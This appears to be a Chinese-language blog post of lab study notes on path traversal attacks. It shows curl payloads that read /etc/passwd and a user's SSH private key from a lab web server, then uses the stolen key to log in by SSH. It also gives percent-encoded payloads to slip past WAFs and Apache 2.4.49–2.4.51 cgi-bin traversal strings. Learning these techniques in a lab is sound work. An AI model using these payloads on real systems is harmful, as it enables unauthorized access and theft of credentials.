Path Traversal Attack 目錄遍歷攻擊
Path Traversal Attack 目錄遍歷攻擊
當有了互動式 shell 後標準攻擊範例檔案
Linux : /etc/password,指令 cat ../../../../../../../../../etc/passwd 就看你幾層
Windows : C:\Windows\System32\drivers\etc\hosts 這是一個所有人都可以讀的檔案
如果目錄遍歷是透過網址的方式去做, 在 windows 底下一樣吃 " ../ " 這種 URL
舉例要抓一個檔案在 C:\Users\install.txt
那網址可以使用 http://ooxx.com/vun/../../../../../../../../Users/install.txt 方式進行
除了可以用密碼暴力破解以外,另一個方式就是去讀取該使用者加目錄下的 Private Key
路徑都是在使用者 /home/[user account]/.ssh/id_rsa,若存在則我們可以利用該 Key 去登入系統
如下圖發現該帳號 offsec 確實存在 provate key
kali@kali:~$ curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa
...
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAz+pEKI1OmULVSs8ojO/sZseiv3zf2dbH6LSyYuj3AHkcxIND7UTw
XdUTtUeeJhbTC0h5S2TWFJ3OGB0zjCqsEI16ZHsaKI9k2CfNmpl0siekm9aQGxASpTiYOs
KCZOFoPU6kBkKyEhfjB82Ea1VoAvx4J4z7sNx1+wydQ/Kf7dawd95QjBuqLH9kQIEjkOGf
BemTOAyCdTBxzUhDz1siP9uyofquA5vhmMXWyy68pLKXpiQqTF+foGQGG90MBXS5hwskYg
...
lpWPWFQro9wzJ/uJsw/lepsqjrg2UvtrkAAADBAN5b6pbAdNmsQYmOIh8XALkNHwSusaK8
bM225OyFIxS+BLieT7iByDK4HwBmdExod29fFPwG/6mXUL2Dcjb6zKJl7AGiyqm5+0Ju5e
hDmrXeGZGg/5unGXiNtsoTJIfVjhM55Q7OUQ9NSklONUOgaTa6dyUYGqaynvUVJ/XxpBrb
iRdp0z8X8E5NZxhHnarkQE2ZHyVTSf89NudDoXiWQXcadkyrIXxLofHPrQzPck2HvWhZVA
+2iMijw3FvY/Fp4QAAAA1vZmZzZWNAb2Zmc2VjAQIDBA==
-----END OPENSSH PRIVATE KEY-----
...
拿到 private key 可以將它存檔並修改檔案權限
chmod 400 [檔案名稱] (除了 400, 改成 600 也是可以用的) 這是因為 Private Key 是步開放給本人以外的群組與帳號使用,所以一定要先修改檔案權限
這裡假設將檔案做成一個檔名為 dt_key 的檔案,那就可以直接來登入了如下
=======================================================================
kali@kali:~$ ssh -i dt_key -p 2222 offsec@mountaindesserts.com
The authenticity of host '[mountaindesserts.com]:2222 ([192.168.50.16]:2222)' can't be established.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
...
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for '/home/kali/dt_key' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
...
kali@kali:~$ chmod 400 dt_key
kali@kali:~$ ssh -i dt_key -p 2222 offsec@mountaindesserts.com
...
offsec@68b68f3eb343:~$
=======================================================================
目錄遍歷預設直接使用 ../../../../ 這樣的字符,然後這樣的字符很容易被 WAF 等網路設備攔截
這時候可以利用 URL Encoding (或稱 Percent Encoding 意即字符換成有 % 方式的顯示)
../ 標準就是換成 %2e
歷史上很有名的 Apache 2.4.49 ~ 2.4.51 的 Path Traversal Vulnerability 後來很多都禁止 ../
這個漏洞是在 cgi-bin 路徑的目錄遍歷漏洞,一般打法如下
curl http://192.168.1.1/cgi-bin/../../../../../../../../ect/passwd
但可能會被檔,這時候換成
curl http://192.168.1.1/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
就有可能會過了
要注意有時候 ../../../ 不夠多層也會抓不到檔案, 過多層是沒有問題的
LAB 有一題一直無法解出來,最後加到 8 層就解了
留言
張貼留言